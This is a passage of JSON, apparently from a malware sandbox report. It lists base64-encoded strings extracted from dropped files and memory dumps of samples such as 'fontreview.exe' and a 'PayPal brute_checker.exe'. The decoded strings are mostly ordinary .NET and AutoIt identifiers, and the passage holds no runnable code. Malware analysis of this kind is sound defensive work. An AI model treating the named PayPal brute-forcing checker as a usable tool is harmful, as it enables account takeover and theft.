File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVXRpbHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbXBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbmRleGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzb2NpYXRpb24gRnJhbWV3b3JrIFByb3ZpZGVyIEhvc3Q=","type":"Unicode","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ckVycm9ySW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ckZpbHRlckNvbXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlVGFyZ2V0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0clNlcnZpY2VMaWNlbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0aGVudGljYXRpb25TcGVjaWZpY2F0aW9uTGlzdGVuZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXV0b0l0IEVycm9y","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QVVUT0lULkVSUk9S","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QVVUT0lUVkVSU0lPTg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb21wb3Nlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VEZXNjcmlwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQWNjb3VudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQW5ub3RhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQXR0cg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQnJvYWRjYXN0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29ubmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW5mbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW5zdGFuY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSW52b2NhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWVzc2FnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUnVsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGFzaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VGYWlsdXJlV3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbXBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbmRleGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VJbnN0YW5jZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXdha2VSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZSBDbGFzcyBEZXNjcmlwdG9yIGF0ICg=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmFzZVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmFzZVNwZWNpZmljYXRpb25MaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$80","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5IEdVSUQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5IHN0cmVhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5RXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5R1VJRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QklOQVJZTEVO","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QklOQVJZTUlE","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5UmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5U2VhcmNo","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5V3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZGluZ0RpcmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZGluZ0ZsYWdz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YkluZGlyZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvTmFtZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvT2JqZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvU3RvcmFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvVHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluT3BNYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlU2VydmljZUxpY2Vuc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlU3BlY2lmaWNhdGlvbkxpc3RlbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJTZXJ2aWNlTGljZW5zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QlJPV1NFUl9GT1JXQVJE","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QlNPTiByZWFkaW5nIGFuZCB3cml0aW5nIGhhcyBiZWVuIG1vdmVkIHRvIGl0cyBvd24gcGFja2FnZS4gU2VlIGh0dHBzOi8vd3d3Lm51Z2V0Lm9yZy9wYWNrYWdlcy9OZXd0b25zb2Z0Lkpzb24uQnNvbiBmb3IgbW9yZSBkZXRhaWxzLg==","type":"Ansi","source":"Dropped 